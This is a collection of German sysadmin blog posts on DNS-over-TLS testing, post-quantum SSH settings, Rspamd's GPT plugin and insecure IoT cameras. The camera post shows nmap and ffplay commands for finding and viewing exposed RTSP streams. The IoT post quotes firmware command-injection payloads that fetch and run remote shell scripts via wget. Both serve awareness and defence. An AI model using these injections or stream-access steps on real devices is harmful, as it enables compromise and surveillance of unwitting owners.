Wenn nginx wirklich TLS terminiert, *kann* BIND auch ohne TLS dahinter laufen – dann sprichst du intern HTTP/2 cleartext oder HTTP/1.1, je nach Setup. Das habe ich ebenfalls so umgesetzt, es hängt immer etwas davon ab, was man so will und wie groß das Setup wird. Ich lasse es in diesem Beitrag aber mal weg, so läuft alles nur mit bind. Ob BIND dafür „tls none“/HTTP-Listener sauber unterstützt, hängt an der BIND-DoH-Implementierung – hier ist die BIND/ARM-Doku die Wahrheit. [bind9.readthedocs.io+1](https://bind9.readthedocs.io/en/stable/reference.html)

### Testplan – Linux-CLI – **bewusst IPv4 und IPv6**

Wir wollen natürlich einmal reproduzierbar testen. Also: jede Stufe zweimal. Einmal `-4`, einmal `-6`. Also ob es bei IPv4 und bei IPv6 jeweils korrekt ist. Ihr könnt euch nicht vorstellen, wie oft ich fest davon überzeugt bin, es für beide Adressfamilien korrekt konfiguriert zu haben, dann aber noch ein unterschied zwischen v4 und v6 ist. Daher testen wir das.

### Voraussetzungen auf Linux

```
which dig kdig curl openssl
```

### Schritt 1 – DoT-TLS-Handshake prüfen (IPv4/IPv6)

### IPv4

```
openssl s_client \
  -connect 37.120.183.220:853 \
  -servername dns.kernel-error.de \
  -alpn dot
```

Erwartung:

- Zertifikat passt auf `dns.kernel-error.de` (SAN / Wildcard ok)

- `ALPN protocol: dot`

- `Verify return code: 0 (ok)`

### IPv6

```
openssl s_client \
  -connect '[2a03:4000:38:20e::853]:853' \
  -servername dns.kernel-error.de \
  -alpn dot
```

Wenn das passt, ist TLS-Transport ok. Also nur die TLS Terminierung für IPv4 und IPv6, da war noch keine DNS Abfrage enthalten.

### Schritt 2 – DoT-Query (kdig) – IPv4/IPv6

### IPv4

```
kdig +tls @37.120.183.220 google.com A
```

Erwartung:

- `status: NOERROR`

- Flags: `rd ra` (Recursion Desired/Available)

- eine A-Antwort

### IPv6

```
kdig +tls @[2a03:4000:38:20e::853] google.com A
```

Gleiche Erwartungshaltung wie bei IPv4.

### Schritt 3 – Sicherstellen: **kein** Resolver auf UDP/TCP 53

### Resolver-IPs dürfen auf 53 *nicht* antworten

```
dig -4 @37.120.183.220 google.com A
dig -6 @2a03:4000:38:20e::853 google.com A
```

Erwartung:

- Timeout / no servers reached
Genau das wollen wir ja: kein UDP/53 auf den Resolver-IPs.

### Authoritative-IPs dürfen nicht rekursiv sein

```
dig -4 @93.177.67.26 google.com A
dig -6 @2a03:4000:38:20e::53 google.com A
```

Erwartung:

- `status: REFUSED`

- idealerweise `EDE: (recursion disabled)`
Das ist genau die „nicht missbrauchbar als Open-Resolver“-Bremse.

Und unser positiver Check:

```
dig -4 @93.177.67.26 kernel-error.de A
dig -6 @2a03:4000:38:20e::53 kernel-error.de A
```

Erwartung:

- `aa` gesetzt (au

[... Artikel gekürzt. Vollständiger Inhalt unter: https://www.kernel-error.de/2026/01/03/bind-9-20-auf-freebsd-15-dns-over-tls-dot-und-dns-over-https-doh-sicher-konfigurieren/ ...]

---


---


## 16. Quantensichere Kryptografie mit OpenSSH auf FreeBSD 15 richtig konfigurieren

**Veröffentlicht:** 2025-12-22
**Permalink:** https://www.kernel-error.de/2025/12/22/quantensichere-kryptografie-mit-openssh-auf-freebsd-15-richtig-konfigurieren/
**Description:** Quantensichere Kryptografie mit OpenSSH 9.x — Post-Quantum-Algorithmen auf FreeBSD 15 für zukunftssichere SSH-Verbindungen.

Mein FreeBSD 15 kommt mit **OpenSSH 10.0p2** und **OpenSSL 3.5.4**.
Beide bringen inzwischen das mit, was man aktuell als quantensichere Kryptografie bezeichnet. Oder genauer gesagt das, was wir Stand heute für ausreichend robust gegen zukünftige Quantenangriffe halten.

[[Bild: Illustration zu quantensicherer Kryptografie mit OpenSSH auf FreeBSD 15. Dargestellt sind ein Quantenchip, kryptografische Symbole, ein Server, ein SSH Schlüssel sowie der FreeBSD Daemon als Sinnbild für post-quantum Key Exchange und sichere Serverkommunikation.]](https://www.kernel-error.de/wp-content/uploads/2025/12/openssh-quanten.png)

Quantensicher? Nein, das hat nichts mit Füßen zu tun, sondern tatsächlich mit den Quanten aus der Physik. Quantencomputer sind eine grundlegend andere Art von Rechnern. Googles aktueller Quantenchip war in diesem Jahr bei bestimmten Physiksimulationen rund 13.000-mal schneller als der derzeit leistungsstärkste klassische Supercomputer. Der chinesische Quantencomputer Jiuzhang wurde bei speziellen Aufgaben sogar als 100 Billionen Mal schneller eingestuft.

Kurz gesagt: Quantencomputer sind bei bestimmten Berechnungen extrem viel schneller als heutige klassische Rechner. Und genau das ist für Kryptografie ein Problem.

Als Vergleich aus der klassischen Welt: Moderne Grafikkarten haben die Zeit zum Knacken von Passwörtern in den letzten Jahren drastisch verkürzt.

- Nur Zahlen: Ein 12-stelliges Passwort wird praktisch sofort geknackt.

- Nur Kleinbuchstaben: wenige Wochen bis Monate.

- Groß- und Kleinschreibung plus Zahlen: etwa 100 bis 300 Jahre.

- Zusätzlich Sonderzeichen: 2025 noch als sehr sicher einzustufen mit geschätzten 226 bis 3.000 Jahren.

Quantencomputer nutzen spezielle Algorithmen wie den [Grover-Algorithmus](https://de.wikipedia.org/wiki/Grover-Algorithmus), der die effektive Sicherheit symmetrischer Verfahren halbiert. Ein ausreichend leistungsfähiger Quantencomputer könnte damit die benötigte Zeit drastisch reduzieren. Was heute Jahrhunderte dauert, könnte theoretisch auf Tage oder Stunden schrumpfen.

Stand 2025 sind solche Systeme zwar real und in der Forschung extrem leistungsfähig, werden aber noch nicht flächendeckend zum Brechen realer Kryptosysteme eingesetzt.

Heißt das also alles entspannt bleiben? Jein.

Verschlüsselte Datenträger lassen sich kopieren und für später weglegen. Gleiches gilt für aufgezeichneten verschlüsselten Netzwerkverkehr. Heute kommt man nicht an die Daten heran, aber es ist absehbar, dass das in Zukunft möglich sein könnte. Genau hier setzt quantensichere Kryptografie an. Ziel ist es, auch aufgezeichnete Daten dauerhaft vertraulich zu halten.

Ein praktisches Beispiel ist der Schlüsselaustausch **mlkem768x25519**. Wenn ihr diese Seite nicht gerade über Tor lest, ist die Wahrscheinlichkeit hoch, dass euer Browser bereits eine solche hybride, post-quantum-fähige Verbindung nutzt. Im Firefox lässt sich das einfach prüfen über F12, Network, eine Verbindung anklicken, dann Security und dort die Key Exchange Group. Taucht dort mlkem768x25519 auf, ist die Verbindung entsprechend abgesichert. Richtig, auf dem Screenhot seht ihr auch [HTTP/3](https://de.wikipedia.org/wiki/Hypertext_Transfer_Protocol#HTTP/3).

[[Bild: Image of mlkem768+x25519 in firefox.]](https://www.kernel-error.de/wp-content/uploads/2025/12/mlkem768x25519.png)

Für diese Webseite ist das nicht zwingend nötig. Für SSH-Verbindungen zu Servern aber unter Umständen schon eher. Deshalb zeige ich hier, wie man einen OpenSSH-Server entsprechend konfiguriert.

Ich beziehe mich dabei bewusst nur auf die Kryptografie. Ein echtes SSH-Hardening umfasst deutlich mehr, darum geht es hier aber nicht.

Die zentrale Konfigurationsdatei ist wie üblich: ***/etc/ssh/sshd_config***

Stand Ende 2025 kann ich folgende Konfiguration empfehlen:

```
KexAlgorithms mlkem768x25519-sha256,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha256
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,umac-128-etm@openssh.com
HostKeyAlgorithms ssh-ed25519,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com
```

Die Zeilen werden entweder an die bestehende Konfiguration angehängt oder ersetzen vorhandene Einträge. Da wir nicht einfach blind kopieren wollen, hier kurz die Erklärung.

**Schlüsselaustausch:**
Bevorzugt werden hybride Verfahren wie mlkem768 kombiniert mit x25519 sowie sntrup761 kombiniert mit x25519. Diese verbinden klassische elliptische Kryptografie mit post-quantum-resistenten Algorithmen. Damit ist die Verbindung sowohl gegen heutige Angreifer als auch gegen zukünftige Store-now-decrypt-later-Szenarien abgesichert. Curve25519 dient als bewährter Fallback. Klassische Diffie-Hellman-Gruppen sind nur aus Kompatibilitätsgründen enthalten.

**Verschlüsselung:**
Es werden ausschließlich moderne Algorithmen eingesetzt. Primär kommen AEAD-Ciphers wie ChaCha20-Poly1305 und AES-GCM zum Einsatz, die Vertraulichkeit und Integrität gleichzeitig liefern und bekannte Schwächen älterer Modi vermeiden. Ältere Verfahren wie CBC sind bewusst ausgeschlossen.

**Integrität:**
Zum Einsatz kommen ausschließlich SHA-2-basierte MACs im Encrypt-then-MAC-Modus. Dadurch werden klassische Angriffe auf SSH wie Padding-Oracles und bestimmte Timing-Leaks wirksam verhindert.

**Serveridentität:**
Als Hostkey-Algorithmus wird Ed25519 verwendet. Optional auch mit Zertifikaten oder hardwaregestützten Security Keys. Das bietet hohe kryptografische Sicherheit bei überschaubarem Verwaltungsaufwand.

Wichtig: Das funktioniert nur, wenn Server und Client diese Algorithmen auch unterstützen. Wer bereits mit SSH-Keys arbeitet, sollte prüfen, dass es sich um Ed25519-Keys handelt. Andernfalls sperrt man sich im Zweifel selbst aus.

Auf dem Server lässt sich die aktive Konfiguration prüfen mit:

```
sshd -T | grep -Ei 'kexalgorithms|ciphers|macs|hostkeyalgorithms'
```

Auf dem Client geht es am einfachsten mit:

```
ssh -Q kex
ssh -Q cipher
ssh -Q mac
ssh -Q key
```

So sieht man schnell, welche Algorithmen tatsächlich verfügbar sind.

Zur externen Überprüfung der SSH-Konfiguration kann ich außerdem das Tool [ssh-audit](https://github.com/jtesta/ssh-audit) empfehlen. Aufruf einfach per:

```
ssh-audit hostname oder IP -p PORT
```

Das liefert eine brauchbare Einschätzung der aktiven Kryptografie und möglicher Schwachstellen. Oh, wenn ihr schon dabei seit, vergesst nicht:

- [MFA mit Google Authenticator einrichten](https://www.kernel-error.de/2024/03/29/freebsd-ssh-server-mit-mfa-2fa/)

- [SSH-Hostkey-Verifikation erklärt](https://www.kernel-error.de/2024/03/29/linux-mint-ubuntu-und-dnssec/)

- [SSH Host Keys in DNS Zone](https://www.kernel-error.de/2012/05/27/hinzufuegen-der-ssh-public-keys-zum-dns/)

**Hinweis zur Einordnung der Quantensicherheit:**
Die hier gezeigte Konfiguration verbessert ausschließlich den Schlüsselaustausch (Key Exchange) durch hybride post-quantum-fähige Verfahren. Hostkeys und Signaturen in OpenSSH basieren weiterhin auf klassischen Algorithmen (z. B. Ed25519 oder ECDSA); standardisierte post-quantum-Signaturalgorithmen sind in OpenSSH aktuell noch nicht implementiert. Es existieren zwar experimentelle Forks (z. B. aus dem Open-Quantum-Safe-Projekt), diese gelten jedoch ausdrücklich nicht als produktionsreif und sind nicht Bestandteil des OpenSSH-Mainlines. Die hier gezeigte Konfiguration ist daher als pragmatischer Übergangsschritt zu verstehen, um „store-now-decrypt-later“-Risiken beim Schlüsselaustausch bereits heute zu reduzieren, ohne auf instabile oder nicht standardisierte Komponenten zu setzen.
Weiterführende Informationen zum aktuellen Stand der post-quantum-Unterstützung in OpenSSH finden sich in der offiziellen Dokumentation: [https://www.openssh.com/pq.html](https://www.openssh.com/pq.html)

Viel Spaß beim Nachbauen. Und wie immer: bei Fragen, [fragen](https://www.kernel-error.de/kontakt/).

---


---


## 17. GPT in Rspamd aktivieren: so nutze ich das LLM-Signal im Score

**Veröffentlicht:** 2025-09-30
**Permalink:** https://www.kernel-error.de/2025/09/30/gpt-in-rspamd-aktivieren/
**Description:** Erfahre, wie du das offizielle GPT-Plugin in Rspamd einrichtest, inkl. Beispielkonfiguration, Modellwahl (z. B. gpt-4o-mini) und Feintuning für Spamfilter.

[Bild: ]

Setup: FreeBSD 14.3, Rspamd 3.12.1, Postfix + Dovecot. Ich lasse bei kniffligen Mails zusätzlich ein LLM draufschauen. Wichtig: GPT ist bei mir nur **ein weiterer Sensor** im ganz normalen Rspamd-Scoring — keine Allzweckwaffe und kein „hartes Urteil“.

**Voraussetzungen**

- Rspamd inkl. **GPT-Plugin** (ab ~3.12.x im Paket; konfiguriert wird in `local.d/gpt.conf`).

- API-Zugang (OpenAI-kompatibel oder eigener Endpunkt).

- Grundverständnis zu Rspamd-Metrics/Actions (Reject/Add-Header/Greylist).

[[Bild: ]](https://www.kernel-error.de/wp-content/uploads/2025/09/openai-api-rspamd.jpg)

[**OpenAI API Key erstellen**:](https://platform.openai.com/api-keys) Melde dich auf der Developer-Plattform an, öffne die Seite *API Keys* und klicke auf *Create new secret key*. Lege bei Bedarf Berechtigungen fest oder arbeite mit projektbasierten Keys. Kopiere den Key einmalig und bewahre ihn sicher (root-only) auf – bitte nicht teilen. Nutzung/Kosten siehst du im Usage-Dashboard.

**Mein `gpt.conf`**

Ich halte die Konfiguration bewusst nüchtern — genug, um robuste Labels zu bekommen, aber ohne Schnickschnack:

```
# local.d/gpt.conf (Auszug)
enabled = true;
type = "openai";
model = "gpt-4o-mini";
api_key = "GEHEIMER-KEY";

model_parameters {
  gpt-4o-mini {
    max_tokens = 160;
    temperature = 0.0;
  }
}

timeout = 10s;
allow_ham = true;
allow_passthrough = false;
json = false;
reason_header = "X-GPT-Reason";

input = "text";
min_words = 1;
max_size = 256k;

symbols_to_except {
  RCVD_IN_DNSWL_MED = -0.1;
  RCVD_IN_DNSWL_HI  = -0.1;
  DWL_DNSWL_MED     = -0.1;
  WHITELIST_RECP_ADDR = -0.1;
  GREYLIST = 0; GREYLIST_CHECK = 0; GREYLIST_SAVE = 0;
  RCPT_IN_SPAMTRAP = 0; SPAMTRAP = 0; SPAMTRAP_ADDR = 0;
  RCVD_VIA_SMTP_AUTH = 0; LOCAL_CLIENT = 0; FROM_LOCAL = 0;
}
```

**Was** bedeutet das?!

- `model = gpt-4o-mini`: flott & günstig, deterministisch per `temperature = 0.0`.

- `allow_ham = true`: GPT darf „HAM“ melden (kleines, positives Signal).

- `allow_passthrough = false`: Bei Fehlern (Timeout/API down) **keine** stillen Freifahrten.

- `reason_header = "X-GPT-Reason"`: Kurzbegründung landet im Header (s.u. Datenschutz).

- `symbols_to_except`: Offensichtliche interne Fälle werden neutralisiert, damit GPT nicht in klaren Situationen wirkt.

- Limits: `min_words = 1`, `max_size = 256k`, `timeout = 10s`.

**Metric/Scoring: drei GPT-Symbole**

```
symbols {
  GPT_SPAM       { weight = 9.0;  group = "gpt"; description = "GPT: classified as SPAM"; }
  GPT_SUSPICIOUS { weight = 4.5;  group = "gpt"; description = "GPT: classified as SUSPICIOUS"; }
  GPT_HAM        { weight = -0.5; group = "gpt"; one_shot = true; description = "GPT: classified as HAM"; }
}
```

GPT wirkt wie ein starker, aber nicht absoluter Faktor. 

– **SPAM (9.0)**: kräftiger Zuschlag.

– **SUSPICIOUS (4.5)**: sanfter Schubs Richtung Greylist/Review.

– **HAM (-0.5)**: kleine Entlastung, einmalig pro Mail.

**Warum diese Gewichte?**
Die Zahlen habe ich bewusst so gewählt, dass das GPT-Signal stark, aber nie absolut ist. Rspamd summiert Scores, GPT ist also nur ein Faktor:

- `GPT_SPAM = 9.0`: genug, um bei Kombination mit klassischen Checks (Bayes, RBL, DMARC) die Add-Header-Schwelle sicher zu reißen, aber unterhalb von *reject* allein.

- `GPT_SUSPICIOUS = 4.5`: halber Wert, schiebt Grauzonen in Richtung Greylist/Review, ohne sofortige Eskalation.

- `GPT_HAM = -0.5`: nur eine kleine Entlastung (one_shot). So verhindert man, dass GPT-HAM mehrere Punkte abzieht und Spams „rettet“.

**Wie wird die GPT-Gewichtung berechnet?**
In den Logs/WebUI taucht das oft so auf: `GPT_SPAM(2.10)[0.85]`. Das bedeutet:

- `[0.85]` = Rohwert von GPT, z. B. 85 % Wahrscheinlichkeit für Spam.

- `weight` aus der Metric (z. B. 9.0 für `GPT_SPAM`).

- Grundformel: `Rohwert × weight` → ergibt den Beitrag zum Gesamtscore.

- *Hinweis:* Je nach Rspamd-Version kann der im Header gezeigte Wert zusätzlich **skaliert** sein (z. B. falls das Modell nur ein „softes“ Signal liefert). Deshalb sieht man in der Praxis häufig 2–8 Punkte statt des Maximalgewichts.

**Actions/Schwellen**

```
actions {
  greylist = 4;
  add_header = 6;
  reject = 15;
}
```

SUSPICIOUS (4.5) kippt oft in Greylist. SPAM (9.0) bringt fast immer Add-Header, Reject nur zusammen mit weiteren harten Befunden. Klassische Checks (SPF/DKIM/DMARC, RBL, Bayes) bleiben führend, GPT ergänzt nur.

**Tuning**

Zu bissig? Gewicht etwas senken.

Zu lasch? Gewicht erhöhen.

Zu optimistisch bei HAM? Gewicht kleiner machen oder 0 setzen.

Header mit `X-GPT-Reason` liefert Nachvollziehbarkeit, kann bei Bedarf wieder entfernt werden.

**Praxis**

– Symbole erscheinen im WebUI und Logfiles.

– `X-GPT-Reason` erklärt im Header die Bewertung.

– Latenz/Kosten: *gpt-4o-mini* mit 160 Tokens und 10 s Timeout ist performant und günstig.

**Jetzt schauen wir uns mal die Mailheader eines echten Beispiels an und wie GPT dort gegriffen hat:**

```
X-Spamd-Result: default: False [8.59 / 15.00];
        VIOLATED_DIRECT_SPF(3.50)[];
        GPT_SPAM(2.10)[0.85];
        MISSING_MIMEOLE(2.00)[];
        CTYPE_MIXED_BOGUS(1.00)[];
        MID_RHS_NOT_FQDN(0.50)[];
        DMARC_POLICY_ALLOW_WITH_FAILURES(-0.50)[];
        MIME_HTML_ONLY(0.20)[];
        R_DKIM_ALLOW(-0.20)[thejewelbox.dd:s=1759374209.thejewelbox];
        ...

```

**Erklärung:**

- `X-Spamd-Result: [8.59 / 15.00]` – Gesamtscore 8.59, Reject-Schwelle bei 15. Hier also *kein Reject*, sondern nur Add-Header.

- `GPT_SPAM(2.10)[0.85]` – GPT meldet Spam mit 85 % Sicherheit (`[0.85]`). Daraus errechnet Rspamd den Beitrag (`(…)`), der in den Gesamtscore einfließt.

- Die klassischen Checks wie `VIOLATED_DIRECT_SPF(3.50)` oder `MISSING_MIMEOLE(2.00)` haben ebenfalls beigetragen – GPT ist also nur **ein Faktor** im Gesamtbild.

**Zusätzlich schreibt das GPT-Modul auf Wunsch auch eine kurze Begründung in den Mailheader:**

```
X-GPT-Reason: This email is likely spam due to the urgency created around an unpaid invoice and the mismatch between the sender's domain and the company name.
```

**Erklärung:**

- `X-GPT-Reason` – eigener Header, den du in `gpt.conf` mit `reason_header = "X-GPT-Reason"` aktivierst.

- Der Text stammt direkt aus dem Modell und begründet die Einstufung (hier: Dringlichkeit „unpaid invoice“ + Domain/Company-Mismatch).

- Nützlich für Analyse/Transparenz; kann auf MTA/MDA-Ebene wieder entfernt werden, wenn du ihn nicht bis zum Postfach durchreichen willst.

**Ein Hinweis zum Datenschutz (gesamt)**
Mit GPT-Integration gehen Mailinhalte an einen externen Dienst (z. B. OpenAI). Das kann datenschutzrechtlich relevant sein. Wer sensible oder personenbezogene Daten verarbeitet, sollte vorher prüfen, ob die Nutzung zulässig ist – oder alternativ ein selbst gehostetes, OpenAI-kompatibles Modell nutzen (z. B. [Ollama](https://ollama.com/)). Den Reason-Header kannst du, falls nötig, serverseitig wieder entfernen.

---


---


## 18. IP-Kameras als Sicherheitsrisiko: GeoGuessr und Datenschutz im Fokus

**Veröffentlicht:** 2025-01-20
**Permalink:** https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/
**Description:** Wie unsichere IP-Kameras durch automatische Portfreigaben zum Datenschutzproblem werden können. Ein Blick auf GeoGuessr und reale Sicherheitslücken.

Die meisten von euch werden das Spiel [GeoGuessr](https://de.wikipedia.org/wiki/GeoGuessr) kennen. Man bekommt ein Google-Street-View-Bild gezeigt, kann sich vielleicht noch ein paar Meter hin- und herbewegen und muss dann auf einer Weltkarte einen Marker setzen, wo man meint, dass dieses Bild aufgenommen wurde. Wer dem Punkt am nächsten kommt, gewinnt.

Eine etwas abgewandelte Version begegnet mir immer mal wieder, wenn ich mich an einem Bug-Bounty-Programm beteilige oder einfach mit offenen Augen durchs Internet spaziere. Damit ist natürlich kein aktives Port-Scanning auf Netzblöcke oder Ähnliches gemeint.

### Worum geht es genau?

In den letzten Jahren verbreiten sich immer mehr billige „China-Kameras“ bei Heimanwendern, aber auch bei Unternehmen. Dagegen spricht erst einmal nichts.

Was leider oft übersehen wird, sind die kleinen automatischen Helferlein, die die Einrichtung und den Betrieb einer solchen Kamera möglichst einfach machen sollen. UPnP (Universal Plug and Play) haben manche vielleicht schon mal im Zusammenhang mit Windows 95 oder USB gehört (ja, ich bin alt …). So etwas gibt es aber auch für Router und Firewalls, also für Netzwerke. Bei einer Fritzbox nennt sich das beispielsweise „Automatische Portfreigabe“.

Der eine oder andere ahnt jetzt sicher schon etwas: Es gibt IP-Kameras, die sich so – vielleicht sogar ohne das Wissen des Betreibers – selbst über das Internet erreichbar machen. Das betrifft nicht selten die komplette Weboberfläche. Mal ist diese kennwortgeschützt, mal nicht.

Sehr oft findet sich auch nur der RTSP-Port (Real Time Streaming Protocol) offen im Internet. Per RTSP werfen solche Kameras oft einen einfachen Videostream aus, der die Anbindung an zentrale Videoüberwachungssysteme erlaubt. Auch RTSP-Streams lassen sich mit einer Anmeldung schützen, was aber scheinbar in der Regel werkseitig deaktiviert ist.

Wenn dieser Port offen ist, könnte man sich einfach per `ffplay` einen solchen Stream anschauen:

```
ffplay rtsp://1.2.3.4/11
```

Wenn man sich nicht sicher ist, wie die korrekte RTSP-URL für die jeweilige IP-Kamera lautet, kann `nmap` zusammen mit dem Script [`rtsp-url-brute` ](https://nmap.org/nsedoc/scripts/rtsp-url-brute.html)helfen:

```
nmap --script rtsp-url-brute -p 554 1.2.3.4
```

### Die rechtliche Lage

Nun kann es natürlich rechtlich schwierig sein, bei einer fremden IP-Adresse nach dem offenen Port 554/TCP zu suchen, dort per `nmap` nach einer nutzbaren RTSP-URL zu scannen und sich den Stream dann live per `ffplay`, `nmap` oder `vlc` anzuschauen. Schließlich hat man nicht das Einverständnis des Betreibers.

[[Bild: Screenshot of shodan search engine, filtering for RTSP Streams.]](https://www.kernel-error.de/wp-content/uploads/2025/01/shodan-example.jpg)

Natürlich hält das wohl weniger Menschen ab, die ohnehin Schlechtes im Sinn haben. Ebenfalls gibt es verschiedene Dienste, die 24/7 nichts anderes tun. Ein Beispiel ist hier vielleicht **[shodan.io](https://www.shodan.io/)** – dort lässt sich direkt nach solchen Vorschaubildern filtern, ohne dass man selbst eine Verbindung zu betroffenen IPs aufnehmen muss.

### Warum ist das alles überhaupt problematisch?

Hat ein Angreifer Böses im Sinn, ist ein Zugriff auf die Überwachungskamera sehr hilfreich. Man kommt so möglicherweise an Insiderinformationen, findet heraus, wo wertvolle Dinge gelagert werden, wann und wie die Öffnungszeiten sind oder sogar mögliche Zugangscodes und Kennwörter. Natürlich auch, welche Kunden sich zu welcher Zeit dort aufhalten usw.

Denkt man an eine Arztpraxis, kann das schnell eine echte Datenschutzkatastrophe werden. Wenn die Kamera im Wohnzimmer oder Schlafzimmer einer Wohnung steht, führt das ebenfalls schnell zu ungewollten Einblicken.

Wenn man einmal außer Acht lässt, dass niemand gerne ohne sein Wissen per Livestream im Internet zu sehen ist, halte ich das Thema Datenschutz für eines der größten Risiken.

In der Vergangenheit sind mir bereits Beispiele begegnet, die das Problem verdeutlichen: Arztpraxen mit Kamerablick von hinten auf die Anmeldung – inklusive direktem Blick auf Patienten, Monitore mit Patientendaten oder Vertragsabschlüsse bei Mobilfunkanbietern. Auch Überwachungskameras in DHL-Filialen, die Bild und Ton in Zoom und 4K aufzeichnen, habe ich gesehen.

Für private Betreiber kann es ebenfalls schnell zu einem Datenschutzproblem werden. Nicht jeder achtet beim eingestellten Bildausschnitt der Kamera darauf, die Vorgaben des Datenschutzes einzuhalten. So werden oft mehr öffentliche Bereiche oder sogar Nachbargrundstücke gefilmt, als zulässig ist.

Wenn diese Daten dann auch noch ohne Schutz und Hürden in die Hände Dritter geraten, wird es heikel. Hier sollte besser jemand mit rechtlichem Hintergrund eine Einschätzung abgeben. Für mich klingt das alles jedenfalls ziemlich unschön.

### Was kann man tun?

Eine Abuse-Mail an den jeweiligen ISP (Internet Service Provider) schicken, mit der Bitte, ihre Kunden zu informieren? Kann man machen. Bei kleineren ISPs klappt das oft sogar, und die Betreiber werden informiert. Spricht man aber über einen großen ISP wie die Telekom, verschwinden einzelne Abuse-Mails gefühlt einfach im Nichts.

Sonst jemanden zu finden, der ein Interesse daran hat, den meist unwissenden Betreiber zu informieren, ist nahezu unmöglich. Weder unsere Behörden noch das BSI interessieren sich dafür. Möchte man also den Betreiber darauf hinweisen, bleibt realistisch nur die Möglichkeit, ihn selbst zu kontaktieren.

### GeoGuessr in der Praxis

Jetzt sind wir beim Thema GeoGuessr: Man hat also nur das Bild der Kamera, die IP-Adresse mit einer recht groben und nicht immer stimmigen Geolokalisierung und vielleicht noch ein paar weitere Rahmeninfos oder Dienste auf dieser IP-Adresse. Hin und wieder macht es mir daher sogar Spaß, den eigentlichen Betreiber ausfindig zu machen und ihm per E-Mail oder telefonisch kurz auf diesen möglichen Missstand hinzuweisen.

Wenn du das also gerade liest, weil ich dich darauf hingewiesen habe, weißt du jetzt, warum 😀

Natürlich trifft man oft auf Unverständnis – oder das klassisch deutsche „Anzeige ist raus!“ begegnet einem immer mal wieder. Es bietet also auch eine gute Möglichkeit, die eigenen Kommunikationsskills zu erweitern.

---


---


## 19. IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

**Veröffentlicht:** 2025-11-17
**Permalink:** https://www.kernel-error.de/2025/11/17/iot-geraete-als-einfallstor-warum-kameras-co-haeufiger-kapert-werden-als-viele-denken/
**Description:** IoT-Geräte als Sicherheitsrisiko im Heimnetzwerk — warum IP-Kameras und Smart-Home-Devices häufig gehackt werden und wie man sich schützt.

Vielleicht erinnert ihr euch an meine Aussage, [dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür](https://www.kernel-error.de/2025/10/30/ip-kameras-risiken-portfreigaben-rtsp-http-checks/). In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

[Bild: Image of IoT Camera and IT Security]

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine [Überwachungskamera](https://www.kernel-error.de/2025/01/20/geoguessr-im-cyber-sicherheitskontext-wie-ip-kameras-zum-risiko-werden-koennen/), ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

### IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

### „Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das *Gerät selbst*.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

- als Teil eines Botnetzes

- zum Verteilen von Malware

- für DDoS-Angriffe

- zum Minen von Kryptowährungen

- oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

### Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

[[Bild: Screenshot of an compromised asus cctv ip camera iot]](https://www.kernel-error.de/wp-content/uploads/2025/11/compromised-asus-cctv-iot-ip-camera.png)

Ein Klassiker: *nicht korrekt geprüfte Eingabefelder*.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

```
ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'
```

oder

```
$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
